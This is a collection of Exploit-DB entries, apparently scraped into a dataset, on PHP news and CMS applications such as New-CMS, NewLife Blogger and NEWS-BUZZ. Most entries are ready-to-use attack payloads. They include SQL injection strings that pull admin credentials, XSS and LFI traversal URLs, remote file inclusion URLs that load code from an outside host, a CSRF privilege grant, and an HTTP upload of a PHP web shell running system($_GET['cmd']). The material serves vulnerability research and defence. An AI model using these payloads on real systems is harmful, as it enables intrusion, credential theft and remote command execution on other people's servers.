deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30892
Description: Neuron News 1.0 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-17
Author: hadihadi & black.shadowes

Exploit:
source: https://www.securityfocus.com/bid/26896/info

Neuron News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and two cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Neuron News 1.0; other versions may also be affected. 

http://www.example.com/patch/?q=&#039;/**/union/**/select/**/1,2,adminmail,4,id/**/from/**/neuronnews_configuration/*
http://www.example.com/patch/?q=viewtopic&topic=<script>alert(111111)</script>
http://www.example.com/patch/?q=newsarchive&newsyear=<script>alert(111111)</script>
http://www.example.com/patch/?q=newsarchive&newsyear=<script>alert(111111)</script>&newsmonth=<script>alert(111111)</script>
Exploit-DB #11841
Description: New Advisore Stack 1.1 - Directory Traversal
Type: webapps
Platform: php
Date: 2010-03-22
Author: R3VAN_BASTARD

Exploit:
===============================================================================================
                             [L.F.I]STACK version 1.1[L.F.I] 
===============================================================================================
Author  : R3VAN_BASTARD
Download: http://sourceforge.net/projects/stack/
Site    : www.sux0r.net
===============================================================================================

exploit: http://localhost.com/stack/documentation.php?action=/../../../../../../../etc/passwd%00

===============================================================================================
Salam Hangat: S3T4N, JACK, MADONK, YOGA0400, EMINEM, YUDIS, VRS-HCK, OON_BOY, NOGE
              KECEMPLUNGKALEN, ALL MAINHACK, ALL SERVERISDOWN.ORG
================================================================================================
Exploit-DB #44813
Description: New STAR 2.1 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-31
Author: Kağan Çapar

Exploit:
# Exploit Title: New STAR 2.1 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 30.05.2018
# Exploit Author: Kağan Çapar
# Contact: kagancapar@gmail.com
# Vendor Homepage: https://codecanyon.net/item/new-star-listen-youtube-music/7486113
# Version: 2.1
# Category: Webapps
# Tested on: Kali Linux
# Description : 'ajax.php' working in the input field contains SQL
vulnerability. The search section also contains XSS vulnerability.
====================================================

# PoC : SQLi :

Parameter: name (GET)

    Type: AND/OR time-based blind
    Demo:
http://site.com/requests/ajax.php?newstar=login&name=admin&[CREDENTIAL_REDACTED]
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: newstar=login&name=admin' AND SLEEP(5) AND
'ddni'='ddni&[CREDENTIAL_REDACTED]


====================================================

# PoC : XSS :

  Payload(1) :
http://site.com/play?mouse_search=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&p=1
Exploit-DB #11866
Description: New-CMS - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-24
Author: Xash

Exploit:
# Exploit Title: New CMS Local File Inclusio
# Date: 24 March 2010
# Author: Xash
# Software Link: http://vaniarupeni.altervista.org/index.php?lng=it&mod=download&pg=download&c=5&download=[PII_REDACTED]
# Version: <= 1.12

================================================
__ __ _
\ \/ /__ _ ___| |__
\ // _` / __| '_ \
/ \ (_| \__ \ | | |
/_/\_\__,_|___/_| |_|

> New CMS Local File Inclusion <

================================================

[+ Author] : Xash

[+ Type] : Local File Inclusion

[+ Name] : New CMS

[+ Version] : <= 1.12

[+ Download] : http://vaniarupeni.altervista.org/index.php?lng=it&mod=download&pg=download&c=5&download=[PII_REDACTED]

[+ Usage] : http://[site]/index.php?pg=[LFI]

[03-24-2010]
Exploit-DB #12463
Description: New-CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-30
Author: Dr. Alberto Fontanella

Exploit:
#
#
# Multiple Vulnerability in New-CMS
#
# [Vendor SW]: New-CMS
# [Version]: 1.08 (but possible all versions)
# [Vendor URL]: www.new-cms.org
# [Tested on]: Ubuntu Server 9.10
# [Category]: Webapps/0day
#
# [Date]: 17 Feb 2010
# [Author]: Alberto "fulgur" Fontanella
# [Author URL]: ictsec.wordpress.com
# [Author EMAIL]: itsicurezza<0x40>yahoo.it
#
#


[ 1 ] - [ Full Path Disclosure ]

http://[host]/struttura/ricerca.php
http://[host]/pdf.php
http://[host]/index.php?lng=it&pg=manager
...etc

Fatal error: Call to undefined function ListaFile() in
/var/www/struttura/ricerca.php on line 8


[ 2 ] - [ Local File Inclusion ]

http://[host]/index.php?pg=cmd

You have to put cmd.php in /struttura/

http://[host]/pdf.php?lng=cmd.php
http://[host]/newcms/struttura/manager.php?lng=cmd.php
http://[host]/newcms/struttura/editor/quote.php?lng=cmd.php
...etc

You have to put cmd.php.str in /lingue/


[ 3 ] - [ Persistent XSS ]

Write an Article/News and Put in the Title field:

">



[ 4 ] - [ XSRF ]

To give privileges to an User Account:

POST /index.php?lng=it&pg=admin&s=redattori HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Referer: http://[host]/index.php?lng=it&pg=admin&s=redattori
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

azione=new&add_red=Haxor&opt1=on&opt2=on&opt3=on&opt4=on&opt5=on

To upload a PHP Shell:

POST /struttura/manager.php?lng=it&upload=ok&id=indirizzo_0 HTTP/1.1
Host: [host]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://[host]/struttura/manager.php?lng=it&id=indirizzo_0
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]240913053
Content-Length: 424

----------------------------[PII_REDACTED][PII_REDACTED]240913053
Content-Disposition: form-data; name="radice"
Content-Disposition: form-data; name="per"


----------------------------[PII_REDACTED][PII_REDACTED]240913053
Content-Disposition: form-data; name="file"; filename="cmd9.php"
Content-Type: application/x-httpd-php

<?php
system($_GET['cmd']);
?>

----------------------------[PII_REDACTED][PII_REDACTED]240913053--
Exploit-DB #33652
Description: New-CMS 1.08 - Multiple Local File Inclusion / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-18
Author: Alberto Fontanella

Exploit:
source: https://www.securityfocus.com/bid/38307/info

New-CMS is prone to multiple local file-include vulnerabilities and an HTML-Injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute a crafted 'cmd.php' script within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the HTML-Injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

New-CMS 1.08 is vulnerable; other versions may also be affected.


http://www.example.com/pdf.php?lng=cmd.php
http://www.example.com/newcms/struttura/manager.php?lng=cmd.php
http://www.example.com/newcms/struttura/editor/quote.php?lng=cmd.php
Exploit-DB #32948
Description: New5starRating 1.0 - '/admin/control_panel_sample.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-22
Author: zer0day

Exploit:
source: https://www.securityfocus.com/bid/34680/info

New5starRating is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

New5starRating 1.0 is vulnerable; other versions may also be affected. 

Supplying the following to the vulnerable script is sufficient to exploit this issue:

Username : admin 'or' 1=1
Exploit-DB #9499
Description: New5starRating 1.0 - 'rating.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-24
Author: Bgh7

Exploit:
New5starRating v1.0 (rating.php) Sql Inj. Vuln.
##################
Yazar: Bgh7
Turk Bilisim Gucleri
##################
Download;
http://www.maniacomputer.com/5star_rating/New_5Star.html
Bug-->Sql Inj.
##################
Exp: rating.php?det=-1 union select userid,0,0,userpass from admin
Panel: /admin/
##################
Thanks: milw0rm-->Str0ke

# milw0rm.com [2009-08-24]
Exploit-DB #11768
Description: Newbie CMS - File Disclosure
Type: webapps
Platform: php
Date: 2010-03-15
Author: JIKO

Exploit:
  |=-----------------------------------------------------=|
  |=-------------=[  JIKO |No-exploit.Com|  ]=-----------=|
  |=-----------------------------------------------------=|
[~]-----------|00|
NAme    :JIKO (JAWAD)
Home    :No-exploit.Com
Mail    : !x!
[~]-----------|01|
    -{Script}
    name :Newbie CMS
    link :http://newbie-cms.com/

[~]-----------|02|
    -{3xpl01t}
    http://no-exploit.com/free_download.php?file={FILE}
[~]-----------|03|
    -{Greetz}
    Cyber-Zone,HxH,Hussin X,ZaIdOoHxHaCkEr ,Stack,HiSoKa,The SadHacker,SkuLL-HacKeR ,Dr.NaNo
    |No-Exploit.com Members
-------------------------------------
Exploit-DB #33676
Description: Newbie CMS 0.0.2 - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-25
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/38421/info

Newbie CMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

Versions prior to Newbie CMS 0.03 are vulnerable; other versions may also be affected. 

Supplying the following cookie data is sufficient to exploit this issue:

javascript:document.cookie="nb_logged=jiko;path=/newbb/admin/";
Exploit-DB #6739
Description: NewLife Blogger 3.0 - Insecure Cookie Handling / SQL Injection
Type: webapps
Platform: php
Date: 2008-10-12
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: NewLife Blogger
$ Version: <= 3.0
$ File affected: system/nlb_user.class.php
$ Download: http://sourceforge.net/projects/nlb/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie format is:
nlb3=7::96e79218965eb72c92a549dd5a330112
nlb3=iduser::md5 pass

--Bug --

143.	function checkLogin( ) {
144.		// loing check
145.		if( isset( $_COOKIE['nlb3'] ) ) {
146.			$data = explode( '::', $_COOKIE['nlb3'] );
147.			$id = $data[0];
148.			$pass = $data[1];
149.			$fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');
150.			if( $pass === $fromdb['password'] ) {
151.				$this->setid( $id );
152.				$this->isLogedIn = true;
153.			} else {
154.				$this->isLogedIn = false;
155.			}
156.		}
157.		// we also check for banned users
158.		$this->checkBanned();
159.	}


-- Exploit --

True/false method to blind mysql injection. Examples:

javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
Response: You appears as logged in

javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
Response: You appears as not logged in

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 4

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 5

# milw0rm.com [2008-10-12]
Exploit-DB #28899
Description: NewP News Publishing System 1.0 - 'Class.Database.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-07
Author: navairum

Exploit:
source: https://www.securityfocus.com/bid/20893/info

NewP News Publishing system is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NewP version 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/newsp/lib/class.Database.php?path=http://www.example2.com/jacked.txt?
Exploit-DB #43077
Description: News 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: News Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/news-dynamic-newspaper-magazine-and-blog-cms-script/19656143
# Demo: http://demo.geniusocean.com/news/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15982
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL]
# 
# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+-
# 
# Etc..
# # # # #
Exploit-DB #22048
Description: News Evolution 1.0/2.0 - Include Undefined Variable Command Execution
Type: webapps
Platform: php
Date: 2002-11-26
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6260/info

News Evolution is a freely available, open source news software package. It is written in PHP, and designed for use on Unix and Linux operating systems.

The problem occurs in the aff_news.php file. By loading this file, and defining the chemin variable to an arbitrary location, commands can be executed on the local host. This vulnerability may also be used to reveal sensitive information on the local host. This same vulnerability also occurs in the export_news.php file.

http://example.com/aff_news.php?chemin=http://example.org/ with

http://example.org/config.php
http://example.org/functions.inc.php
http://example.org/options.inc.php


http://example.com/screen.php?neurl=http://example.org with

http://example.org/admin/cfg/configsql.inc.php
http://example.org/admin/cfg/configscreen.inc.php
http://example.org/admin/cfg/configsite.inc.php
http://example.org/admin/cfg/configtache.inc.php
http://example.org/admin/fonctions/fctscr.php
http://example.org/admin/fonctions/fctadmin.php
http://example.org/admin/fonctions/fctform.php
http://example.org/admin/modules/cache.php
Exploit-DB #2325
Description: News Evolution 3.0.3 - _NE[AbsPath] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: ddoshomo

Exploit:
# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# News Evolution v3.0.3 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=825
 
# Script  :  News Evolution v3.0.3
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/install.php?_NE[AbsPath]=[shell]
  
     http://www.site.com/[path]/migrateNE2toNE3.php?_NE[AbsPath]=[shell]

# milw0rm.com [2006-09-07]
Exploit-DB #26818
Description: News Module for Envolution - 'modules.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-14
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/15857/info

Envolution is prone to multiple input validation vulnerabilities.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=&topic=18&startrow=[xss]

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[xss]
Exploit-DB #26819
Description: News Module for Envolution - 'modules.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-14
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/15857/info
 
Envolution is prone to multiple input validation vulnerabilities.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=&topic=18&startrow=[sql]

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[sql]
Exploit-DB #15843
Description: News Script PHP Pro - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-12-29
Author: Net.Edit0r

Exploit:
                                
==============================================================================
  
        [»] News Script PHP Pro (fckeditor) File Upload Vulnerability
  
==============================================================================
  
    [»] Title   :           [ News Script PHP Pro (fckeditor) File Upload Vulnerability ]
  
    [»] Script  :           [ News Script PHP Pro  ]
  
    [»] TestedON:           [ linux/php ]
  
    [»] Download:           [ http://newsscriptphp.com/ ]
  
    [»] Author  :           [ Net.Edit0r }
  
    [»] Email   :           [ black.hat.tm@gmail.com ]
  
    [»] Date    :           [ 2010-12-26 ]
   
    [»] Version :           [ Full Version ]

    [»] CVE     :           [Web Applications]
  
###########################################################################
  
     
===[ Exploit ]===    ./Iranian HackerZ
  
  [»] http://server/[patch]/fckeditor/editor/filemanager/connectors/uploadtest.html
  
  [»] Select the "File Upload" To use = php
 
===[ Upload To ]===
 
  [»] http://server/[patch]/userfiles/Name File
 
===[ Demo ]===

  [»] http://server/news/fckeditor/editor/filemanager/connectors/uploadtest.html
 
Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , M4hd1 , Ali.Erroor 
 
     BHG : Net.Edit0r ~ Darkcoder ~ keracker
                                   
###########################################################################
Exploit-DB #44030
Description: News Website Script 2.0.4 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-13
Author: Varun Bagaria

Exploit:
##################################################################
# Exploit Title:News Website Script - SQL Injection (Error Based)
# Google Dork: NA
# Date: 12.02.2018
# Exploit Author: Varun Bagaria
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: *http://under24usd.com/demo/newstoday/index.php
# Version: 2.0.4
# Tested on: Windows 7
# Category: Webapps
# CVE : NA
##################################################################

Proof of Concept
=================

Attack Parameter : search
Payload : '

Reproduction Steps:
------------------------------
1. Access the script
2. In the search bar insert ' and you will get error based SQL Injection
Exploit-DB #46456
Description: News Website Script 2.0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2019-02-25
Author: Mr Winst0n

Exploit:
# Exploit Title: News Website Script 2.0.5 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 22, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/news-website-script/
# Tested Version: 2.0.5
# Tested on: Kali linux, Windows 8.1 


# PoC:

# http://localhost/[PATH]/index.php/show/news/11 [SQL]/

# http://localhost/[PATH]/index.php/show/news/11%20and%201=0/Sports/january-25-2018/Pogba-still-has-to-improve-Allegri
Exploit-DB #23012
Description: News Wizard 2.0 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-08-11
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8389/info

News Wizard will disclose path information in an error page in response to a request for an invalid request for a web resource. This could disclose information that could be useful in further attacks against the system.

http://www.example.com/path/nw/article.php?id='
Exploit-DB #52174
Description: NEWS-BUZZ News Management System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2025-04-11
Author: egsec

Exploit:
# Exploit Title: NEWS-BUZZ News Management System 1.0 - SQL Injection
# Google Dork: N/A
# Exploit Author: egsec
# Date: 2024-11-03
# Vendor Homepage: https://code-projects.org
# Software Link: https://code-projects.org/content-management-system-in-php-with-source-code-2/
# Version: 1.0
# Tested on: Windows 11 Pro
# Impact:  The manipulation of the argument user_name with an unknown input leads to a sql injection vulnerability
# CVE : CVE-2024-10758

## Vulnerability Description:

There is a SQL injection vulnerability in the login part of the index.php file. It allows an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.

## Vulnerable code section:

In the source code, you can find vulnerable code in the NEWS-BUZZ/login.php file:

<?php
...
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query) or die(mysqli_error($conn));
...
?>

In this line, the $username variable is directly embedded into the SQL query without proper handling. This allows an attacker to inject malicious SQL code.

## Proof of Concept (PoC):

1.Location: http://localhost/NEWS-BUZZ/index.php

2.Time-Based SQL Injection Payload: ' OR sleep(10)#


3.PoC request:

POST /NEWS-BUZZ/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://localhost
Connection: close
Referer: http://localhost/NEWS-BUZZ/index.php
Cookie: PHPSESSID=456n0gcbd6d09ecem39lrh3nu9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

user_name=admin%27+or+sleep%2810%29%23&user_[CREDENTIAL_REDACTED]=

4.PoC response:

The response will come called time by using sleep() function.